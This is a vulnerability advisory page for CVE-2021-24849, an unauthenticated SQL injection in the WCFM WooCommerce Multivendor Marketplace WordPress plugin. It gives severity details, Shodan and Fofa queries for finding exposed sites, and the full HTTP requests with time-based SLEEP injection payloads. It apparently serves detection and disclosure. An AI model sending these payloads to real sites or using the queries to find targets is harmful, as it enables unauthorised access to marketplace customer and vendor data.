🔙 목록으로 돌아가기

CVE-2021-24849: WCFM WooCommerce Multivendor Marketplace < 3.4.12 - SQL Injection

TitleWCFM WooCommerce Multivendor Marketplace < 3.4.12 - SQL Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can execute SQL injection through multiple unsanitized parameters, potentially gaining access to all WooCommerce marketplace data including customer and vendor information.
RemediationFixed in 3.4.12
CVSS Score9.8
EPSS Score0.6198
CVE IDCVE-2021-24849
CWE IDCWE-89
Shodan Queryhttp.html:/wp-content/plugins/wc-multivendor-marketplace
Fofa Querybody=/wp-content/plugins/wc-multivendor-marketplace
Tags time-based-sqli wpscan cve cve2021 wp wp-plugin wordpress wc-multivendor-marketplace sqli wclovers vuln

🔍 Vulnerability Description

The wcfm_ajax_controller AJAX action of the WCFM Marketplace WordPress plugin before 3.4.12, available to unauthenticated and authenticated user, does not properly sanitise multiple parameters before using them in SQL statements, leading to SQL injections.

🌐 HTTP Request

GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 106
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1+union+select+1+and+sleep(5)--
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2 rv:2.0; mai-IN) AppleWebKit/533.27.1 (KHTML, like Gecko) Version/5.0 Safari/533.27.1
Content-Length: 145
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

action=wcfm_ajax_controller&controller=wcfm-refund-requests&transaction_id=1&orderby=ID`%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(5)))b)--%20`

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24849.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24849.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A